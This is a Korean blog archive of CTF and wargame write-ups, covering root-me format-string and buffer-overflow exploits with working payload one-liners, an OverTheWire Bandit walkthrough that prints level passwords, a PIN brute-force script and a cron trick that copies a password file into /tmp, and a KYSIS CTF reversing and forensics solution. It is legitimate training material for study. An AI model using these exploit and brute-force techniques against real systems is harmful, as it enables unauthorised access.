반응형
반응형
반응형

root-me.org [APP - SYSTEM] ELF x86 - Format string bug basic 2 풀이



문제소스 :


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdlib.h>
 
/*
gcc -m32 -o ch14 ch14.c
*/
 
int main( int argc, char ** argv )
 
{
 
        int var;
        int check  = 0x04030201;
 
        char fmt[128];
 
        if (argc <2)
                exit(0);
 
        memset( fmt, 0sizeof(fmt) );
 
        printf"check at 0x%x\n"&check );
        printf"argv[1] = [%s]\n", argv[1] );
 
        snprintf( fmt, sizeof(fmt), argv[1] );
 
        if ((check != 0x04030201&& (check != 0xdeadbeef))    
                printf ("\nYou are on the right way !\n");
 
        printf"fmt=[%s]\n", fmt );
        printf"check=0x%x\n", check );
 
        if (check==0xdeadbeef)
        {
                printf("Yeah dude ! You win !\n");
                system("/bin/dash");
        }
}
cs



app-systeme-ch14@challenge02:~$ ./ch14 AAAA%08x%08x%08x%08x

check at 0xbffffaf8

argv[1] = [AAAA%08x%08x%08x%08x]

fmt=[AAAAb7fdc4a0000000010000000000000001]

check=0x4030201


포멧스트링 버그가 발생함을 알 수 있다.

이제 이를 이용하여 check의 값을 변조해야 한다.

app-systeme-ch14@challenge02:~$ ./ch14 AAAA%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x
check at 0xbffffae8
argv[1] = [AAAA%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x]
fmt=[AAAAb7fdc4a0000000010000000000000001bffffc140000000000000000040302014141414164663762]
check=0x4030201

메모리 구조를 살펴보면, check가 위치하는 곳과 fmt가 위치하는 곳을 확인할 수 있다.


check의 주소+2 <- 0xdead 57005

check의 주소     <- 0xbeef 48879


1. %08x 7번 사용해서 esp를 check앞까지 끌고 옴

2. %48811c (출력)- 현재 esp는 fmt 앞.

3. %n 메모리 값을 참조하여 그 곳에 값이 입력됨 (0xbeef가 들어갈 것이므로 주소는 0xbffffae8)

4. %8126c

5. %n (0xbffffaea)



payload = "\xe8\xfa\xff\xbf"+"A"*4+"\xea\xfa\xff\xbf"+"%08x"*7+"%48811c%n%8126c%n"



exploit (check의 주소가 변경되서 페이로드에 있는 값도 변경해주었습니다.)

./ch14 `python -c 'print "\xd8\xfa\xff\xbf"+"A"*4+"\xda\xfa\xff\xbf"+"%08x"*7+"%48811c%n%8126c%n"'`





반응형
반응형

Encoding - ASCII


그냥 hex 2 ascii




Encoding - UU


UUencode라는 것으로 인코딩 된 문자열이다. 디코딩해주면 된다.



Hash - Message Digest 5


md5디크립트 하면 된다.




Hash - SHA-2


해시에 'k'가 존재할 수 없다. k를 빼주고 복호화 한뒤에 다시 sha1로 해시화하면 된다.




Shift cipher



bin 파일 hxd로 열어서 hex값을 구한다.


문제 제목이 shift라서 각 바이트에 1씩 감소시키는 코드를 쓰윽 작성해주었다.


1
2
3
4
5
6
7
list_ = [0x4C0x7C0x6B0x800x790x2B0x2A0x5E0x7F0x2A0x7A0x6F0x7F0x820x2A0x800x6B0x760x730x6E0x6F0x7C0x2A0x6B0x800x6F0x6D0x2A0x760x6F0x2A0x7A0x6B0x7D0x7D0x2A0x630x790x760x6B0x730x720x7F0x140x0A]
for i in range(0,256):
    flag = ""
    for j in list_ :
        flag += chr(j - i)
    print(flag)
 
cs



그럼 평문을 찾을 수 있다.



File - PKZIP


암호가 걸려있는 zip파일이 주어진다.

AZPR을 이용해서 브포를 돌려주면 풀린다.

pw는 5자리 정수로 이루어져 있다. 구한 압축파일 비밀번호를 인증에 사용하면 된다.


반응형
반응형

root-me.org [APP - SYSTEM] ELF x64 - Stack buffer overflow - basic 풀이



문제 소스:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
 
/*
gcc -o ch35 ch35.c -fno-stack-protector -no-pie -Wl,-z,relro,-z,now,-z,noexecstack
*/
 
void callMeMaybe(){
    char *argv[] = { "/bin/bash""-p"NULL };
    execve(argv[0], argv, NULL);
}
 
int main(int argc, char **argv){
 
    char buffer[256];
    int len, i;
 
    scanf("%s", buffer);
    len = strlen(buffer);
 
    printf("Hello %s\n", buffer);
 
    return 0;
}
cs


buffer[256]에 크기제한없이 scanf()을 통해 입력받으므로 bof가 발생한다.



이제 gdb를 이용해 리턴주소를 덮을 callMeMaybe()함수의 주소와, buffer[256]의 위치를 알아내야 한다.



(gdb) disas callMeMaybe

Dump of assembler code for function callMeMaybe:

   0x00000000004005e7 <+0>: push   rbp

   0x00000000004005e8 <+1>: mov    rbp,rsp

   0x00000000004005eb <+4>: sub    rsp,0x20



64비트에서 리턴주소는 6bit만 사용하므로 덮어야 하는 값은 0x0000004005e7이다.



(gdb) disas main
Dump of assembler code for function main:
...
   0x000000000040065b <+51>: lea    rax,[rbp-0x110]
   0x0000000000400662 <+58>: mov    rdi,rax
   0x0000000000400665 <+61>: call   0x4004c0 <strlen@plt>   
... 
End of assembler dump.

buffer[256]은 rbp-0x110에 있다. 0x110은 272바이트로, dummy가 272-256=16 바이트만큼 존재함을 알 수 있다.


buffer[256]+dummy[16]+SFP[8]를 덮고 위에서 찾은 함수주소를 더 덮어주면 될 것 같다.


exploit
(python -c 'print "A"*280+"\xe7\x05\x40\x00\x00\x00"'; cat) | ./ch35



반응형
반응형

root-me.org [APP - SYSTEM] Format string bug basic 1 풀이


문제소스:


1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <unistd.h>
 
int main(int argc, char *argv[]){
        FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd""rt");
        char buffer[32];
        fgets(buffer, sizeof(buffer), secret);
        printf(argv[1]);
        fclose(secret);
        return 0;
}
cs


.passwd파일을 불러와 buffer에 32바이트만큼 저장하고

argv[1]을 출력하고 끝냅니다.


printf(argv[1])에서 포맷스트링 버그가 발생합니다.


argv[1]에 %x를 넣어준다면 스택에서 4바이트씩 증가하며 저장된 값을 읽어올 수 있다.


.passwd의 값은 buffer에 저장되어있고 buffer는 스택 어딘가에 존재할 것이다.


%08x를 이용해 스택을 잔뜩 긁어와 보았다.



app-systeme-ch5@challenge02:~$ ./ch5 %08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x

000000200804b008b7e562f30000000008049ff400000002bffffbb4bffffcd30000002f0804b00839617044282936646d61704500000a64b7e564adb7fd03c4b7fff00008048579defc6f00080485700000000000000000b7e3caf300000002bffffbb4bffffbc0b7fece6a00000002bffffbb4bffffb540804a0140804825cb7fd0000000000000000000000000000d13a6d6be959497b




그리고 다 아스키로 돌렸다.



 °·åbóŸô¿ÿû´¿ÿüÓ/°9apD()6dmapE

d·åd­·ýÄ·ÿð…yÞüo…p·ãÊó¿ÿû´¿ÿûÀ·þÎj¿ÿû´¿ÿûT ‚\·ýÑ:mkéYI{


읽을 수 있는 문자열이 존재했다. 리틀엔디안 방식으로 저장되어 있기 때문에 4바이트씩 날리고 빅엔디안으로 바꾸는 작업을 했주었다.


1) 39617044 28293664 6d617045 00000a64


리틀엔디안 -> 빅엔디안


2) 44706139 64362928 4570616d 64


hex -> ascii


3) Dpa9d6)(Epamd



반응형
반응형

root-me.org 

[APP - SYSTEM] 

ELF x86 - Stack buffer overflow basic 2 풀이


문제 소스:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*
gcc -m32 -fno-stack-protector -o ch15 ch15.c
*/
 
#include <stdio.h>
#include <stdlib.h>
 
void shell() {
    system("/bin/dash");
}
 
void sup() {
    printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}
 
main()
{
    int var;
    void (*func)()=sup;
    char buf[128];
    fgets(buf,133,stdin);
    func();
}
 
cs



buf의 크기는 128바이트인데, fgets함수로 133만큼 입력을 받으므로 bof가 발생한다.

void (*func)()의 값을 shell() 함수의 주소로 덮어주면 된다.


shell() 함수의 주소를 gdb를 이용해 구할 수 있다.


app-systeme-ch15@challenge02:~$ gdb -q ch15

Reading symbols from ch15...(no debugging symbols found)...done.

(gdb) set disassembly-flavor intel 

(gdb) disas shell

Dump of assembler code for function shell:

   0x08048464 <+0>: push   ebp

   0x08048465 <+1>: mov    ebp,esp

   0x08048467 <+3>: sub    esp,0x18

   0x0804846a <+6>: mov    DWORD PTR [esp],0x80485a0

   0x08048471 <+13>: call   0x8048380 <system@plt>

   0x08048476 <+18>: leave  

   0x08048477 <+19>: ret    

End of assembler dump.


shell() : 0x08048464



exploit!


(python -c 'print "A"*128+"\x64\x84\x04\x08"'; cat) | ./ch14


반응형
반응형

root-me.org 

[APP - SYSTEM] 

ELF x86 - Stack buffer overflow basic 1 풀이


문제 소스:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdlib.h>
#include <stdio.h>
 
/*
gcc -m32 -o ch13 ch13.c -fno-stack-protector
*/
 
 
int main()
{
 
  int var;
  int check = 0x04030201;
  char buf[40];
 
  fgets(buf,45,stdin);
 
  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);
 
  if ((check != 0x04030201&& (check != 0xdeadbeef))
    printf ("\nYou are on the right way!\n");
 
  if (check == 0xdeadbeef)
   {
     printf("Yeah dude! You win!\nOpening your shell...\n");
     system("/bin/dash");
     printf("Shell closed! Bye.\n");
   }
   return 0;
}
cs


buf의 크기는 40바이트인데, fgets 함수로 45바이트 만큼 buf에 입력을 받으므로 bof가 발생한다.


스택구조는 아래와 같으므로 40바이트만큼 아무 값으로 채워주고, 다음 4바이트를 0xdeadbeef로 채워주면 check의 값을 조작할 수 있다.


낮은주소


char buf[40] <- "A"*40

int check <- "\xef\xbe\xad\xde"

int var


높은주소


exploit


(python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat) | ./ch13


반응형

반응형


http://overthewire.org/wargames/bandit/bandit0.html


OverTheWire Bandit 문제 풀이입니다.






Level 0


ssh 접속

ssh bandit0@bandit.labs.overthewire.org -p2220






Level 0 -> Level 1


readme 파일 읽기


ls

cat readme






Level 1 -> Level 2


파일명이 '-'인 파일 읽기

명령에서 -는 옵션을 의미하기 때문에 cat - 으로는 -파일을 읽을 수 없다.


- 파일을 읽으려면 cat ./- 를 사용하면 된다고 구글이 알려준다.






Level 2 -> Level 3


spaces in this filename 파일 읽기


파일명 일부분을 타이핑하고 Tab키를 누르면 자동완성이 되는 것을 이용해서 풀었다.


cat spaces\ in\ this\ filename


파일명에 스페이스바가 들어가있으면 '\ '로 바꿔서 입력해주면 되는 것 같다.






Level 3 -> Level 4


cd inhere

ls -al


숨겨진 .hidden이라는 파일을 찾을 수 있다.


cat .hidden






Level 4 -> Level 5


inhere 디렉토리에 들어가보면 

-로 시작하는 파일이 많다.


level 1에서 사용했던 방법을 사용해 파일들을 하나하나 읽어보면

-file07에서 패스워드를 찾을 수 있다.






Level 5 -> Level 6


파일과 디렉토리가 많다. 이 것들 중에서 패스워드가 담긴 파일을 찾아야 한다.

다만, 단서가 있다. http://overthewire.org/wargames/bandit/bandit6.html


  • human-readable
  • 1033 bytes in size
  • not executable


find 명령어를 이용해 크기가 1033bytes인 파일을 찾으면 된다.


find . -size 1033c






Level 6 -> Level 7


http://overthewire.org/wargames/bandit/bandit7.html


서버 어딘가에서 아래 조건을 만족하는 파일을 찾아야 한다.


  • owned by user bandit7
  • owned by group bandit6
  • 33 bytes in size


find / -user bandit7 -group bandit6






Level 7 -> Level 8


The password for the next level is stored in the file data.txt next to the word millionth

cat data.txt | grep millionth






Level 8 -> Level 9


The password for the next level is stored in the file data.txt and is the only line of text that occurs only once


cat data.txt | sort






Level 9 -> Level 10


The password for the next level is stored in the file data.txt in one of the few human-readable strings, beginning with several ‘=’ characters.


strings data.txt






Level 10 -> Level 11


The password for the next level is stored in the file data.txt, which contains base64 encoded data


base64로 디코딩해주면 된다.


base64 -di data.txt






Level 11 -> Level 12


The password for the next level is stored in the file data.txt, where all lowercase (a-z) and uppercase (A-Z) letters have been rotated by 13 positions


복호화 사이트를 이용해 풀 수도 있지만, 리눅스 명령어 tr을 이용해 풀 수도 있다. https://www.chmag.in/articles/momsguide/decoding-rot-using-the-echo-and-tr-commands-in-your-linux-terminal/


cat data.txt | tr ‘n-za-mN-ZA-M’ ‘a-zA-Z’






Level 12 -> Level 13


The password for the next level is stored in the file data.txt, which is a hexdump of a file that has been repeatedly compressed. For this level it may be useful to create a directory under /tmp in which you can work using mkdir. For example: mkdir /tmp/myname123. Then copy the datafile using cp, and rename it using mv (read the manpages!)


hexdump를 바이너리로 바꿔주어야 합니다.


bandit12@bandit:~$ mkdir /tmp/m4ndu

bandit12@bandit:~$ cp data.txt /tmp/m4ndu


bandit12@bandit:~$ cd /tmp/m4ndu


bandit12@bandit:/tmp/m4ndu$ xxd -r data.txt > data


bandit12@bandit:/tmp/m4ndu$ file data

data: gzip compressed data, was "data2.bin", last modified: Tue Oct 16 12:00:23 2018, max compression, from Unix



확장자 .gz를 달아주고 gzip 압축을 풀어줍니다.


bandit12@bandit:/tmp/m4ndu$ mv data data.gz

bandit12@bandit:/tmp/m4ndu$ gzip -d data.gz


bandit12@bandit:/tmp/m4ndu$ file data
data: bzip2 compressed data, block size = 900k


이번에는 확장자 .bz2를 달아주고 bzip2 압축을 풀어줍니다.

mv data data.bz2
bunzip2 data.bz2

file data
data: gzip compressed data, was "data4.bin", last modified: Tue Oct 16 12:00:23 2018, max compression, from Unix


다시 gzip


bandit12@bandit:/tmp/m4ndu$ mv data data.gz

bandit12@bandit:/tmp/m4ndu$ gzip -d data.gz

bandit12@bandit:/tmp/m4ndu$ file data

data: POSIX tar archive (GNU)



이번엔 tar 압축풀기


bandit12@bandit:/tmp/m4ndu$ mv data data.tar

bandit12@bandit:/tmp/m4ndu$ tar -xvf data.tar
data5.bin
bandit12@bandit:/tmp/m4ndu$ file data5.bin 
data5.bin: POSIX tar archive (GNU)


계속 같은방법으로 진행하면 된다.

bandit12@bandit:/tmp/m4ndu$ mv data5.bin data5.tar
bandit12@bandit:/tmp/m4ndu$ tar -xvf data5.tar 
data6.bin
bandit12@bandit:/tmp/m4ndu$ file data6.bin 
data6.bin: bzip2 compressed data, block size = 900k
bandit12@bandit:/tmp/m4ndu$ mv data6.bin data6.bz2
bandit12@bandit:/tmp/m4ndu$ bunzip2 data6.bz2 
bandit12@bandit:/tmp/m4ndu$ ls
data5.tar  data6  data.tar  data.txt
bandit12@bandit:/tmp/m4ndu$ file data6
data6: POSIX tar archive (GNU)
bandit12@bandit:/tmp/m4ndu$ mv data6 data6.tar
bandit12@bandit:/tmp/m4ndu$ tar -xvf data6.tar 
data8.bin
bandit12@bandit:/tmp/m4ndu$ file data8.bin 
data8.bin: gzip compressed data, was "data9.bin", last modified: Tue Oct 16 12:00:23 2018, max compression, from Unix
bandit12@bandit:/tmp/m4ndu$ mv data8.bin data8.gz
bandit12@bandit:/tmp/m4ndu$ gzip -d data8.gz 
bandit12@bandit:/tmp/m4ndu$ ls
data5.tar  data6.tar  data8  data.tar  data.txt
bandit12@bandit:/tmp/m4ndu$ file data8
data8: ASCII text
bandit12@bandit:/tmp/m4ndu$ cat data8





Level 13 -> Level 14


The password for the next level is stored in /etc/bandit_pass/bandit14 and can only be read by user bandit14. For this level, you don’t get the next password, but you get a private SSH key that can be used to log into the next level. Note: localhost is a hostname that refers to the machine you are working on


private ssh key를 이용해 bandit14로 ssh 접속을 해서 해당 파일을 읽으면 된다.


ssh -i sshkey.private bandit14@localhost

cat /etc/bandit_pass/bandit14






Level 14 -> Level 15


The password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost.


bandit14@bandit:~$ nc localhost 30000

4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e

Correct!

BfMYroe26WYalil77FoDi9qh59eK5xNr






Level 15 -> Level 16


The password for the next level can be retrieved by submitting the password of the current level to port 30001 on localhost using SSL encryption.

Helpful note: Getting “HEARTBEATING” and “Read R BLOCK”? Use -ign_eof and read the “CONNECTED COMMANDS” section in the manpage. Next to ‘R’ and ‘Q’, the ‘B’ command also works in this version of that command…


openssl s_client -connect localhost:30001


그다음 level 15의 패스워드를 제출하면 된다.






Level 16 -> Level 17


The credentials for the next level can be retrieved by submitting the password of the current level to a port on localhost in the range 31000 to 32000. First find out which of these ports have a server listening on them. Then find out which of those speak SSL and which don’t. There is only 1 server that will give the next credentials, the others will simply send back to you whatever you send to it.


31000 에서 32000 사이의 포트중에서 열려있는 포트를 찾는다.


bandit16@bandit:~$ nmap -sT -p 31000-32000 localhost


Starting Nmap 7.40 ( https://nmap.org ) at 2019-01-08 05:23 CET

Nmap scan report for localhost (127.0.0.1)

Host is up (0.00020s latency).

Not shown: 999 closed ports

PORT      STATE SERVICE

31518/tcp open  unknown

31790/tcp open  unknown


Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds



2개의 포트가 열려있고, 이 중 ssl을 사용하는 서비스를 찾으면 된다. 두 개밖에 없으니 두 번 시도해보자.


openssl s_client -connect localhost:31518

openssl s_client -connect localhost:31790


31790에서 rsa private key를 보내준다.


복사해서 저장해둔다 -> 17.private


권한설정이 필요하다. 


sudo chmod 400 17.private






Level 17 -> Level 18

ssh -i 17.private bandit17@bandit.labs.overthewire.org -p2220


There are 2 files in the homedirectory: passwords.old and passwords.new. The password for the next level is in passwords.new and is the only line that has been changed betweenpasswords.old and passwords.new


NOTE: if you have solved this level and see ‘Byebye!’ when trying to log into bandit18, this is related to the next level, bandit19


bandit17@bandit:~$ diff passwords.old passwords.new 






Level 18 -> Level 19


The password for the next level is stored in a file readme in the homedirectory. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH.


ssh bandit18@bandit.labs.overthewire.org -p2220 "cat readme"






Level 19 -> Level 20


To gain access to the next level, you should use the setuid binary in the homedirectory. Execute it without arguments to find out how to use it. The password for this level can be found in the usual place (/etc/bandit_pass), after you have used the setuid binary.


bandit20-do 의 bandit20 권한을 빌려서 파일을 읽을 수 있다.


./bandit20-do cat /etc/bandit_pass/bandit20






Level 20 -> Level 21


There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21).

NOTE: Try connecting to your own network daemon to see if it works as you think


터미널을 새로 하나 열어서 ssh 연결을 하나 더 해준다.
새로 연결한 터미널에서 nc listen 포트를 열어준다.

nc -l -p 31555


다른 터미널에서 접속을 시도한다.


./suconnect 31555


포트를 열어준 터미널에서 패스워드를 입력해주면 다음 레벨 패스워드가 넘어온다.





Level 21 -> Level 22


A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.


cd /etc/cron.d

ls

cat cronjob_bandit22

cat /usr/bin/cronjob_bandit22.sh
cat /tmp/t706lds9S0RqQh9aMcz6ShpAoZKF7fgb






Level 22 -> Level 23


A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

NOTE: Looking at shell scripts written by other people is a very useful skill. The script for this level is intentionally made easy to read. If you are having problems understanding what it does, try executing it to see the debug information it prints.



cd /etc/cron.d

ls

cat cronjob_bandit23

cat /usr/bin/cronjob_bandit23.sh
echo I am user bandit23 | md5sum | cut -d ' ' -f 1
cat /tmp/8ca319486bfbbc3663ea0fbe81326349






Level 23 -> Level 24


A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

NOTE: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level!

NOTE 2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around…



cd /etc/cron.d

ls

cat cronjob_bandit24

cat /usr/bin/cronjob_bandit24.sh

mkdir /tmp/mandu
chmod 777 /tmp/mandu/

cd /var/spool/bandit24/
vi 24.sh
chmod 777 24.sh


24.sh

#!/bin/bash

cat /etc/bandit_pass/bandit24 > /tmp/mandu/m


cat /tmp/mandu/m


tmp디렉토리에 있는 내 디렉토리의 권한 설정을 확인해야 한다. 권한 설정이 되어있지 않은 경우 쓰기 권한문제로 파일이 생성되지 않는다.






Level 24 -> Level 25


A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.


파이썬이 되길레 파이썬 코드를 짜서 돌렸다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python
import socket
 
host = "127.0.0.1"
port = 30002
 
= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(1024)
 
for i in range(010):
    for j in range(010):
        for k in range(010):
            for l in range(010):
                pincode = str(i) + str(j) + str(k) + str(l)
                print(pincode)
                s.send("UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ " + pincode + "\n")
                result = s.recv(1024).strip();
                print(result)
s.close()
cs

답이 나오는 경우 서버에서 자동으로 연결을 끊기 때문에, 돌려놓고 좀 있다가 보면 마지막 쯤에 답이 출력되어 있다.





Level 25 -> Level 26


Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it.


passwd 파일에 어떤 쉘을 사용하는지가 있다.


grep bandit26 /etc/passwd


cat /usr/bin/passwd




uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

반응형
반응형

MISC 50

REVERSING 50

WEB 50

FORENSICS 50 100 150

[2018] 제16회 청소년 정보보호 페스티벌(YISF)_문제풀이보고서_M4ndU.zip
2.07MB

pw:1234

반응형

'CTF Write Up' 카테고리의 다른 글

NeverLAN CTF 2019 write up  (0) 2019.02.04
2019 NEWSECU CTF Write-Up  (0) 2019.02.04
KYSIS CTF 2018 Write-Up  (0) 2018.08.07
H3X0R 4rd CTF 2018 Write-up  (0) 2018.07.29
KDMHS CTF 2018 Write-up  (0) 2018.06.18
반응형

KYSIS CTF 2018 Write-Up


M4ndU



작성일 : 2018.08.07 18:07

공개일 : 2018.08.14 17:11

(7일이나 지났는데 올려도 되겠지...)




WEB - read flag




문제 사이트에 들어가면 alert()가 무한루프 돌아서 아무것도 안된다.



그냥 크롬 설정 - 콘텐츠 설정 - 자바스크립트 에서 차단하고 들어간뒤


페이지 소스보기로 플래그를 확인할 수 있다.








REVERSING - Simple Ransomware




파일이 두개 주어진다.

하나는 플래그가 암호화된 파일이고, 다른 하나는 복호화를 해주는 elf파일이다.




아이다 64비트로 열어서 보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
signed __int64 __fastcall main(int a1, char **a2, char **a3)
{
  signed __int64 result; // rax@2
  const char *v4; // rdi@3
 
  if ( a1 == 2 )
  {
    v4 = a2[1];
    if ( !strcmp(v4, "start") )
    {
      sub_400C2F();
      s = sub_400BA0();
      v4 = sub_400B54();
      if ( (unsigned int)sub_400B12((const char *)s) )
        sub_400C66(s);
      else
        sub_400C66(s);
    }
    result = 0LL;
  }
  else
  {
    result = 0xFFFFFFFFLL;
  }
  return result;
}
cs


메인함수다.


  if ( a1 == 2 )

  {

    v4 = a2[1];

    if ( !strcmp(v4, "start") )


인자값으로 start를 주어야 한다.


 sub_400C2F();


1
2
3
4
5
6
7
8
9
int sub_400C2F()
{
  char *v0; // rax@1
 
  v0 = sub_400BFA();
  printf("welcome %s\n", v0);
  puts("I want to Decrypt File!!!!");
  return puts("Maybe you find simple key.. file will be decrypt..");
}
cs


key를 찾으라고 한다.



s = sub_400BA0();


1
2
3
4
5
6
7
8
void *sub_400BA0()
{
  s = malloc(0xAuLL);
  memset(s, 0, 0xAuLL);
  printf("what is key ? ", 0LL);
  gets(s);
  return s;
}
cs


key값을 입력받아서 s에 저장한다.



v4 = sub_400B54();

이 코드는 왜 있는지 잘 모르겠다.



      if ( (unsigned int)sub_400B12((const char *)s) )

        sub_400C66(s);

      else

        sub_400C66(s);


if가 True이든 False이든 같은 작업을 하는데, sub_400C66()함수는 암호화된 파일을 복호화 하는 함수이고

sub_400B12()함수에서 입력했던 key값을 비교한다.


1
2
3
4
5
6
7
__int64 __fastcall sub_400B12(const char *a1)
{
  const char *v1; // rax@1
 
  LODWORD(v1) = sub_400AA5();
  return strcmp(v1, a1) == 0;
}
cs


gdb로 열어서 strcmp에 breakpoint 걸고 v1의 값을 확인해보면 key값을 얻을 수 있다.



해당 부분은 0x400B3D이고 인자의 주소가 각각 rsi, rdi에 저장되어 있다.


mandu@mandu-VirtualBox:~/바탕화면$ gdb -q Let_Decrypt

Reading symbols from Let_Decrypt...(no debugging symbols found)...done.

(gdb) b * 0x400B3D

Breakpoint 1 at 0x400b3d

(gdb) r start

Starting program: /home/mandu/바탕화면/Let_Decrypt start

welcome mandu

I want to Decrypt File!!!!

Maybe you find simple key.. file will be decrypt..

what is key ? b


Breakpoint 1, 0x0000000000400b3d in ?? ()

(gdb) info reg rsi

rsi            0x604620 6309408

(gdb) info reg rdi

rdi            0x604640 6309440

(gdb) x/s 0x604640

0x604640: "OPENTHEDOOR"

(gdb) x/s 0x604620

0x604620: "b"


키를 구했다.


mandu@mandu-VirtualBox:~/바탕화면$ ./Let_Decrypt start
welcome mandu
I want to Decrypt File!!!!
Maybe you find simple key.. file will be decrypt..
what is key ? OPENTHEDOOR
INPUT : decrypt file name : flag.KYSIS

INPUT new file : flag 


Success Decrypt Good Luck!
mandu@mandu-VirtualBox:~/바탕화면$ cat flag
Hello flag is KYSIS{1T's_S1mpl3_R4nsomw4re}




NETWORK - Net -- Work


pcap파일이 주어지는데 여기서 추출가능한 파일은 1개의 jpg파일과 7개의 cab파일이 있다.


처음에 cab파일들을 분석하는 삽질을 하다가 많은 분들이 푸신걸 보고 이 루트가 아니구나 판단. (애초에 60점짜리..)


jpg파일에서 KYSIS를 검색하니 플래그가 있었다..







FORENSIC - Oriental medicine




.001파일이 주어진다.


.001파일은 AccessData FTK Imager로 열 수 있다.



힌트를 보면 찾아야할 파일은 jpeg파일이다.


jpeg파일 시그니처는 이렇다.



FF D8 FF E0로는 나오지 않아서 4A 46 49 46으로 검색했다.




jpeg파일의 footer 시그니처는 FF D9이므로 FF D9를 찾아서 HxD로 복사했다.


그렇지만 시그니처를 제대로 보면 FF FF FF E0로 되어있다. 두번째 FF 를 D8로 바꾸면 파일이 제대로 열린다.




맥 짚는중...ㅋㅋ


근데 플래그 인증이 안된다...


왜 그런가 보니


위에 내용이 더 있었다........

이 값들을 추가해주고 md5 돌려서 플래그 인증했다.






대회 종료후 풀이보고 다시 푼 문제들의 풀이들:

반응형

'CTF Write Up' 카테고리의 다른 글

2019 NEWSECU CTF Write-Up  (0) 2019.02.04
YISF 2018 예선 write-up  (0) 2018.08.15
H3X0R 4rd CTF 2018 Write-up  (0) 2018.07.29
KDMHS CTF 2018 Write-up  (0) 2018.06.18
H3X0R 4rd CTF 2018 [easy_png] Write-up  (0) 2018.06.14

+ Recent posts